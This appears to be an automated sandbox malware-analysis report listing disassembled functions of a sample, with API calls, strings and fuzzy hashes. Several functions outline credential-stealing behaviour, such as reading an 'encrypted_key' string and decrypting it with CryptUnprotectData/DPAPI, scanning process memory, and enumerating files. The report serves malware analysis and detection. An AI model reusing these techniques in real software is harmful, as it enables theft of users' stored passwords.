__getptd.LIBCMT ref: 022DCC51

Part of subcall function 022DC206: __getptd_noexit.LIBCMT ref: 022DC209
Part of subcall function 022DC206: __amsg_exit.LIBCMT ref: 022DC216

__amsg_exit.LIBCMT ref: 022DCC71
__lock.LIBCMT ref: 022DCC81
InterlockedDecrement.KERNEL32(?), ref: 022DCC9E
free.MSVCRT ref: 022DCCB1
InterlockedIncrement.KERNEL32(0042B980), ref: 022DCCC9

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 5d7d5386ca12c030d3e9ef79b035ddd590771242ace2c96a8d9315f1b641efb0
Instruction ID: 724efa9bc9780111eb81be7326f56957f58816a063e5908d7753ef8685db065a
Opcode Fuzzy Hash: 5d7d5386ca12c030d3e9ef79b035ddd590771242ace2c96a8d9315f1b641efb0
Instruction Fuzzy Hash: 78014532E20B26EBCB20ABE4944875D73A1FF04714F010527ED14672B8CB746441DFD9

Function 0041C9DE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C9EA

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__amsg_exit.LIBCMT ref: 0041CA0A
__lock.LIBCMT ref: 0041CA1A
InterlockedDecrement.KERNEL32(?), ref: 0041CA37
free.MSVCRT ref: 0041CA4A
InterlockedIncrement.KERNEL32(0042B558), ref: 0041CA62

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 89c3f3603ea426d8c1dcae7c91f98695ae5431033bc18fad3d55e9ead8607d02
Instruction ID: 84b4572ca590114782b091576b9a89d8360325c6110713fe167f1eb626e4287d
Opcode Fuzzy Hash: 89c3f3603ea426d8c1dcae7c91f98695ae5431033bc18fad3d55e9ead8607d02
Instruction Fuzzy Hash: 5801C431A817299BC722EB669C857DE77A0BF04794F01811BE81467390C72C69D2CBDD

Function 022D7167 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 022D7186
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,022D7401,00000000,00420BA8,00000000,00000000), ref: 022D71B4

Part of subcall function 022D6E37: strlen.MSVCRT ref: 022D6E48
Part of subcall function 022D6E37: strlen.MSVCRT ref: 022D6E6C

VirtualQueryEx.KERNEL32(022D7574,00000000,?,0000001C), ref: 022D71F9
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,022D7401), ref: 022D731A

Part of subcall function 022D7047: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 022D705F

Strings

@, xrefs: 022D720D

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction ID: a3b63e315334c17cbb3c86e693517cf60f89560a15997513b9f1cc40199f20f6
Opcode Fuzzy Hash: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction Fuzzy Hash: C251E4B1E1010AEBDB04CFD8D981AEFB7B6BF88300F148519F915A7244D778EA11CBA5

Function 00416F00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00416F1F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041719A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 00416F4D

Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416BE1
Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416C05

VirtualQueryEx.KERNEL32(?,00000000,?,0000001C), ref: 00416F92
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041719A), ref: 004170B3

Part of subcall function 00416DE0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416DF8

Strings

@, xrefs: 00416FA6

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction ID: da6ee04ed372484ea639f8c5ae6d2cf8ded6d6947598eb42fecba3fc0a9bdd2e
Opcode Fuzzy Hash: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction Fuzzy Hash: 27511CB5E041099BDB04CF98D981AEFBBB5FF88304F108559F919A7340D738EA51CBA5

Function 004069B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E2A), ref: 00406A19

Strings

*n@, xrefs: 00406B28, 00406BB6, 00406BBB, 00406B65
*n@, xrefs: 004069BD, 004069C9, 004069DC, 004069E5, 00406A09, 00406A32, 00406A35, 00406AEF, 00406B01, 00406B0D, 00406B16, 00406B93, 00406B49, 00406A4A, 00406A6D, 00406A79, 00406AA1, 00406AD1, 00406AE3, 00406AAD, 00406ABA, 00406A56

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: *n@$*n@
API String ID: 1029625771-193229609
Opcode ID: bf609db6eed200fea4b15f7f51f4bbb31f3205db81936f2c349fbd39333cdc99
Instruction ID: a280f62563b1b8af23ece619f3fba2aedbd92eaccb2561d1aa32790852693925
Opcode Fuzzy Hash: bf609db6eed200fea4b15f7f51f4bbb31f3205db81936f2c349fbd39333cdc99
Instruction Fuzzy Hash: DA71C874A00119DFCB04CF48C484BEAB7B2FB88315F158179E80AAF391D739AA91CB95

Function 022D32AE Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022C6307: InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 022C6376

ShellExecuteEx.SHELL32(0000003C), ref: 022D342C

Strings

/y, xrefs: 022D32AE, 022D32B3
@Ly, xrefs: 022D3400
0y, xrefs: 022D33F7
<, xrefs: 022D33D1

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteInternetOpenShelllstrlen
String ID: <$@Ly$/y$0y
API String ID: 3003401316-1122373644
Opcode ID: 9c7af7c407a05955023c59048f2131a67dba8825191ad258bddab0558431ef10
Instruction ID: 19c707b61c3f4d08861217dbf441928f7fd1ab52c867ff45915cac7a99f1e615
Opcode Fuzzy Hash: 9c7af7c407a05955023c59048f2131a67dba8825191ad258bddab0558431ef10
Instruction Fuzzy Hash: AD412D719203089BCB09FFE4DD91EEEB77AAF24300F144259E10266198EF345B8ACF91

Function 022D49E7 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0064A30C), ref: 022D4A42

Part of subcall function 022D9047: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 022D9072

lstrcat.KERNEL32(?,00000000), ref: 022D4A68
lstrcat.KERNEL32(?,?), ref: 022D4A87
lstrcat.KERNEL32(?,?), ref: 022D4A9B
lstrcat.KERNEL32(?,0064A284), ref: 022D4AAE
lstrcat.KERNEL32(?,?), ref: 022D4AC2
lstrcat.KERNEL32(?,0064A2C8), ref: 022D4AD6

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022D8FF7: GetFileAttributesA.KERNEL32(00000000,?,022C1DBB,?,?,0042565C,?,?,00420E1F), ref: 022D9006

Part of subcall function 022D47D7: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 022D47E7
Part of subcall function 022D47D7: RtlAllocateHeap.NTDLL(00000000), ref: 022D47EE
Part of subcall function 022D47D7: wsprintfA.USER32 ref: 022D480D
Part of subcall function 022D47D7: FindFirstFileA.KERNEL32(?,?), ref: 022D4824

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 78345fe715bd3a89254a4c2b5c0583ef77495b8e9b9ae479ef4891d8c2e90729
Instruction ID: cadea016e68a088e8686ea5b099afabf0342305d98d1ef4fc7daef4d150f59a9
Opcode Fuzzy Hash: 78345fe715bd3a89254a4c2b5c0583ef77495b8e9b9ae479ef4891d8c2e90729
Instruction Fuzzy Hash: 77317EF6A50308ABDB10FBF0CC88EED737AAB58700F404589B24596084EEB5D789CF95

Function 00414F40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414F7A
lstrcatA.KERNEL32(?,00421070), ref: 00414F97
lstrcatA.KERNEL32(?,00793190), ref: 00414FAB
lstrcatA.KERNEL32(?,00421074), ref: 00414FBD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

`1y, xrefs: 00414FFF

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: `1y
API String ID: 2667927680-1477631000
Opcode ID: 33ad484c41b3b6fcfe3cd09fe7520dfc9098197ce8bfaf1b05ec43d91c9f3575
Instruction ID: b2f553c39a7574946245b6cc91baeb706efbd34a5fe7bafabb54328a91102e52
Opcode Fuzzy Hash: 33ad484c41b3b6fcfe3cd09fe7520dfc9098197ce8bfaf1b05ec43d91c9f3575
Instruction Fuzzy Hash: FA213DBAA402047BC714FBF0EC46FED333DAB55300F40455DB649920C1EE7896C88B96

Function 022C1487 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 022C14A5
__aulldiv.LIBCMT ref: 022C14BF
__aulldiv.LIBCMT ref: 022C14CD
ExitProcess.KERNEL32 ref: 022C14FB

Strings

@, xrefs: 022C149A

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: 33a6c344ba78a30960a79b8edc2f42a7ee42ff911cc29e0aa38d66534d303edf
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 1A016DB0A60308FAEF20DBD0CC8AB9DBB79AB00705F208548E709772C4D7B495518B55

Function 022CB757 Relevance: 7.9, APIs: 2, Strings: 3, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022CA077: memcmp.MSVCRT(?,00421264,00000003), ref: 022CA094

lstrlen.KERNEL32(00000000), ref: 022CBC29
lstrlen.KERNEL32(00000000), ref: 022CBC3D

Strings

.y, xrefs: 022CB776, 022CB77B, 022CB7E7, 022CB7ED
`/y, xrefs: 022CB791, 022CB797, 022CB823, 022CB828
.y, xrefs: 022CBABD, 022CBAC3

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID: .y$`/y$.y
API String ID: 3457870978-400968446
Opcode ID: 01b2ef90f01bc47b2fe592b36b8eab2b6e7c3ba8e1b3c58c6169bf1efef8d7f9
Instruction ID: 8efb19c1d95979cdb3c7460a5b5126af948fda3edd6f57b4a7203c87ca31f96a
Opcode Fuzzy Hash: 01b2ef90f01bc47b2fe592b36b8eab2b6e7c3ba8e1b3c58c6169bf1efef8d7f9
Instruction Fuzzy Hash: AEE10E72920358ABCB18EBE4DD91DEEB33ABF64304F54465DE106621A4EF346B48CF61

Function 0040B4F0 Relevance: 7.9, APIs: 2, Strings: 3, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040B9C2
lstrlenA.KERNEL32(00000000), ref: 0040B9D6

Strings

`/y, xrefs: 0040B52A, 0040B5BC
.y, xrefs: 0040B856
.y, xrefs: 0040B50F, 0040B580

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID: .y$`/y$.y
API String ID: 3457870978-400968446
Opcode ID: b35ef5ffff2ebef4a674bd031d89a2127a116eec87523aabcc3d7d4ff4cc14f4
Instruction ID: 4e9d2fdd6b59a5819e0b0cc177d60c70936eaf215788bcf9b06e28604354d71c
Opcode Fuzzy Hash: b35ef5ffff2ebef4a674bd031d89a2127a116eec87523aabcc3d7d4ff4cc14f4
Instruction Fuzzy Hash: EEE133729111189BDB04FBA1CD92EEE7339AF14314F40456EF50672091EF386B9ACB7A

Function 022CBCE7 Relevance: 7.8, APIs: 4, Strings: 1, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022CA077: memcmp.MSVCRT(?,00421264,00000003), ref: 022CA094

lstrlen.KERNEL32(00000000), ref: 022CBF06

Part of subcall function 022D9097: LocalAlloc.KERNEL32(00000040,-00000001), ref: 022D90B9

StrStrA.SHLWAPI(00000000,004213E0), ref: 022CBF34
lstrlen.KERNEL32(00000000), ref: 022CC00C
lstrlen.KERNEL32(00000000), ref: 022CC020

Strings

.y, xrefs: 022CBD06, 022CBD0B, 022CBD75, 022CBD7A

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: .y
API String ID: 1440504306-3337573416
Opcode ID: 9e08ee45ebc43fe706c0c8ad989736c962bf943befa7584f1b5ac42d019a3d06
Instruction ID: fde10396d3e6fb901efb89fc951a134576252aa7621381b073d9afe15e39da9c
Opcode Fuzzy Hash: 9e08ee45ebc43fe706c0c8ad989736c962bf943befa7584f1b5ac42d019a3d06
Instruction Fuzzy Hash: B3B14171920308ABCB18FBE4DD95EEE733AAF24304F54465DE506A2194EF386B48CF61

Function 022CA077 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,00421264,00000003), ref: 022CA094

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022D0CC7: memset.MSVCRT ref: 022D0E83
Part of subcall function 022D0CC7: lstrcat.KERNEL32(?,00000000), ref: 022D0E9C
Part of subcall function 022D0CC7: lstrcat.KERNEL32(?,00420D7C), ref: 022D0EAE
Part of subcall function 022D0CC7: lstrcat.KERNEL32(?,00000000), ref: 022D0EC4
Part of subcall function 022D0CC7: lstrcat.KERNEL32(?,00420D80), ref: 022D0ED6

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

memcmp.MSVCRT(?,00421114,00000003), ref: 022CA116
memset.MSVCRT ref: 022CA14F
LocalAlloc.KERNEL32(00000040,?), ref: 022CA1A8

Strings

@, xrefs: 022CA158

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpymemcmpmemset$AllocLocal
String ID: @
API String ID: 1977917189-2766056989
Opcode ID: 20785839e506e71d0d4179be974b45f7974db19f2062455c4e4fb0a2237278dd
Instruction ID: 8ef8838c4dabd9b5ffbf335bed83dde36b03243539e71410ccab88204e78313a
Opcode Fuzzy Hash: 20785839e506e71d0d4179be974b45f7974db19f2062455c4e4fb0a2237278dd
Instruction Fuzzy Hash: 60615C30A20348DBCB24EFE4CD96FED7776AF44304F508218E90A9B198DBB46A05CF45

Function 00410D90 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410DB8
strtok_s.MSVCRT ref: 00410EFD

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00792F70,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: d0f1ba5d55cb1b253890ed9ee11e6a313e4eedd3fb9c312bac6e1a9e739fb82b
Instruction ID: a77fe6eef144f8be1650d890f93c6b8163d42d0b0f361fe6991083760d0b9acb
Opcode Fuzzy Hash: d0f1ba5d55cb1b253890ed9ee11e6a313e4eedd3fb9c312bac6e1a9e739fb82b
Instruction Fuzzy Hash: 91517FB4A40209EFCB08CF95D595AEE77B5FF44308F10805AE802AB351D774EAD1CB95

Function 00409CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
Part of subcall function 00409B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6
Part of subcall function 00409B60: LocalFree.KERNEL32(?), ref: 00409BD3

Strings

"encrypted_key":", xrefs: 00409D30
DPAPI, xrefs: 00409D89
, xrefs: 00409DC1

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
